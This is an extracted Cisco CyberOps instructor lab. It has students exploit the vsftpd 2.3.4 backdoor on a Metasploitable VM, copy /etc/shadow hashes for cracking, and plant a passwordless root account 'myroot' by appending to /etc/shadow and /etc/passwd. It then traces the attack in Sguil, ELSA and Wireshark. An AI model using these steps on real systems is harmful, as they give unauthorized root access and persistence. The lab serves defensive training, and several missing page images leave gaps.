Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
|tate: VULNERABLE (Exploitable)
|IDs: OSVDB:73573 CVE:CVE-2011-2523
|vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|Disclosure date: 2011-07-03
|Exploit results:
|Shell command: id
|Results: uid=0(root) gid=0(root)
|References:
|http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|http://osvdb.org/73573
<output omitted>
Part 3: Exploitation
Now you have determined that you could gain root access to the Metasploitable VM, you will exploit the vsftp
vulnerability to gain full control of the Metasploitable VM. You will compromise the /etc/shadow file so you
may gain access to other hosts in the network.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. At the msf prompt, enter search vsftpd to search for the module that is associated with the VSFTPD
v2.3.4 backdoor. You will use this module for exploitation. This search will take a few moments when
building the database for the first time.
msf > search vsftpd
[!] Module database cache not built yet, using slow search
Matching Modules
================
Exploit target:
Id Name-- ----
0 Automatic
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. This enters the Metasploit Framework terminal and you now have root access to the Metasploitable VM
from the Kali host. Notice that there is no system prompt presented. To verify that you have root access to
Metasploitable VM, enter whoami.
whoami
What is the current username? __________________________________ root
c. Enter hostname to verify name of the host.
hostname
What is the hostname? _______________________________________ metasploitable
d. The IP address of the Metasploit VM is 209.165.200.235. Enter ifconfig to verify the IP address on the
current host.
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:15:91:86
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:fe15:9186/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:78058 errors:2 dropped:0 overruns:0 frame:0
TX packets:195672 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11803523 (11.2 MB) TX bytes:91415071 (87.1 MB)
Interrupt:10 Base address:0xd020
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::
f. Highlight the content of /etc/shadow and right-click the highlighted content and select Copy.
g. Open a new terminal in the Kali VM, and start the nano text editor. Enter nano /root/shadow.txt at the
prompt.
root@kali:~# nano /root/shadow.txt
h. Right-click the blank space in nano and select Paste. After you have pasted the content, remove any
blank lines at the bottom, if necessary. Enter Ctl-X to save and exit nano. Press y when asked to save
the file and accept the filename shadow.txt.
This saved /root/shadow.txt file will be used in a later step with John the Ripper to crack the passwords
of some of the login names so you can access the system remotely via SSH.
i. In the same terminal, enter the cat command and grep to display only the details for the root user.
root@kali@~# cat /root/shadow.txt | grep root
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
Notice that the colons (:) separate each line into 9 fields. Using the root user account as an example, root
is the login name and $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. is the encrypted password. The next 6
fields define the configurations for the password, such as date of last change, minimum and maximum
password age, and password expiration date. The last field is reserved for future use.
To learn more about the /etc/shadow file, enter man shadow at a terminal prompt.
j. Return to the Metasploit Framework terminal on the Kali VM. You will add a new user myroot to
Metasploitable VM. This user will have the same password configurations as root.
When creating the new user, you will use the same 9 fields as the root user; except you will delete the
encrypted password associated with the root user and leave the password field empty. When the
password field is empty, no password is needed to log in as the user myroot.
The echo command will append a new line to add the new user myroot to the /etc/shadow file.
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/shadow
file.
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
k. Verify that you added the new user myroot to /etc/shadow.
cat /etc/shadow
<output omitted>
myroot::14747:0:99999:7:::
Why was it necessary to copy the content of /etc/shadow file to a new text file on Kali VM?
Hint: What would happen if you enter the cat /etc/shadow > /root/shadow.txt in the Metasploit
Framework console?
____________________________________________________________________________________
The /root/shadow.txt file would be saved on Metasploitable, instead of Kali VM.
l. To allow myroot to login with elevated privileges, you will add the user myroot with the same user ID
number (UID), user's group ID number (GID), user description, user home directory, and login shell as the
root to the /etc/passwd file. The colons (:) separate the fields, and the x in the second field represents
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
the password for the user. The encrypted password can be found in the /etc/shadow file for the same
user.
Return to the Metasploitable remote connection terminal window and enter the cat command to see the
information for root.
cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
m. Use the following echo command to append the settings for myroot to /etc/password.
Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/passwd
file.
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
To learn more about the /etc/passwd file, enter man 5 passwd at a terminal prompt.
n. Verify that you added the new user myroot to /etc/passwd.
cat /etc/passwd
<output omitted>
myroot:x:0:0:root:/root:/bin/bash
With root access, the user myroot has complete control of Metasploitable VM.
o. Enter exit when done.
exit
[*] 209.165.200.235 - Command shell session 1 closed. Reason: Died from EOFError
Part 4: Infiltration
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Note: You can copy the file directly from CyberOps Workstation VM to the Kali VM if there is a user
account other than root configured on Kali VM. Because FTP transmits the content in plaintext, you will
be able to view the content in packets using Wireshark.
e. If desired, you can log back into Metasploitable and remove the file confidential.txt from the FTP server.
root@kali:~# ssh [email protected]
[email protected]'s password:
analyst@metasploitable:~$ rm confidential.txt
f. At this time, you can shut down Metasploitable, CyberOps Workstation, and Kali virtual machines.
d. Select the returned root message that is associated with Senor seconion-eth1-1 for further analysis. In
the figure below, Alert ID 5.2568 and its correlated event are used. However, your Alert ID will be most
likely be a different number.
e. Right-click the number under the CNT heading to select View Correlated Events.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
f. In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root
alerts and select Transcript. The Alert ID 5.2570 is used in this example.
g. Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions
between the Kali (threat actor) and Metasploitable (target) during the attack.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. To view all packets assembled in a TCP conversation, right-click any packet and select Follow TCP
Stream.
What did you observe? What do the text colors red and blue indicate?
____________________________________________________________________________________
____________________________________________________________________________________
The TCP stream shows the transaction between Kali (threat actor) displayed in red text and
Metasploitable (target) in blue text. The information from the TCP stream is the same as in the transcript.
c. Exit the TCP stream window. Close Wireshark when you are done reviewing the information provided by
Wireshark.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 14 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. Click bro_notice.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 15 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235, the
Metasploitable VM. The attacker probably found vulnerabilities on the Metasploitable VM to gain access.
d. If an attacker has compromised Metasploitable, you want to determine the exploit that was used and what
was accessed by the attacker.
b. Right-click the number under the CNT heading and select View Correlated Events to view all the related
events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-
eth1-1 interface.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 16 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. In the new tab with all the correlated events, right-click the Alert ID and select Transcript to view each
alert in more detail. Alert ID 5.2569 is used as an example. The latest alert is likely to display the TCP
transmission between the attacker and victim.
d. You can also right-click the Alert ID and select Wireshark to review and save the pcap file and TCP
stream.
c. Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
____________________________________________________________________________________
The file confidential.txt was transferred by the user analyst.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 17 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
d. Click info to view the transactions in the last record. The reply_msg field indicates that this is the last
entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and
password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows
you to get a pcap transcript and download the pcap.
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
e. To determine the content of the file that was compromised, open ELSA by double clicking the icon on the
Desktop to open a new tab and perform a new search.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 18 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
f. Expand FTP and click FTP Data. Click one of the Info links and select getPcap from the dropdown menu
to determine the content of the stolen file.
g. The result displays the content of the file named confidential.txt that was transferred to the FTP server.
Step 6: Clean up
Shut down all VMs when finished.
Reflection
In this lab, you have used a vulnerability to gain access to unauthorized information and reviewed the logs as
a cybersecurity analyst. Now summarize your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 19 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
From the Sguil and ELSA logs, it was determined that an attacker at 209.165.201.17 exploited the vsftpd
vulnerability to gain root access to 209.165.200.235. By using root access gained from the attack, the attacker
had added a new root user myroot for future root access. The attacker compromised the user analyst to gain
to access an internal workstation, 192.168.0.11. By using the analyst account, the attacker was able to gain
access to the file named confidential.txt and transfer the file using FTP to 209.165.200.235, where the
attacker has remote access to retrieve the file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 20 of 20 www.netacad.com
Lab – Incident Handling (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Apply your knowledge of security incident handling procedures to formulate questions about given incident
scenarios.
Background / Scenario
Computer security incident response has become a vital part of any organization. The process for handling a
security incident can be complicated and involve many different groups. An organization must have standards
for responding to incidents in the form of policies, procedures, and checklists. To properly respond to a
security incident, the security analyst must be trained to understand what to do, and must also follow all of the
guidelines outlined by the organization. There are many resources available to help organizations create and
maintain a computer incident response handling policy, but the NIST Special Publication 800-61 is specifically
called by the CCNA CyberOps SECOPS exam topics. This publication can be found here:
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 4 www.netacad.com
Lab – Incident Handling
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 4 www.netacad.com
Lab – Incident Handling
What could be done to prevent similar incidents from occurring in the future?
What could be done to improve detection of similar incidents?
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 4 www.netacad.com
Lab – Incident Handling
What indicators of the incident might the organization detect? Which indicators would cause someone to think
that an incident might have occurred?
What additional tools might be needed to detect this particular incident?
How would the team prioritize the handling of this incident?
Containment, Eradication, and Recovery:
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers will vary based upon the CSIRC details. Examples:
What strategy should the organization take to contain the incident? Why is this strategy preferable to others?
What additional tools might be needed to respond to this particular incident?
Which personnel would be involved in the containment, eradication, and/or recovery processes?
What sources of evidence, if any, should the organization acquire? How would the evidence be acquired?
Where would it be stored? How long should it be retained?
Post-Incident Activity:
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers will vary based upon the CSIRC details. Examples:
What could be done to prevent similar incidents from occurring in the future?
What could be done to improve detection of similar incidents?
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 4 www.netacad.com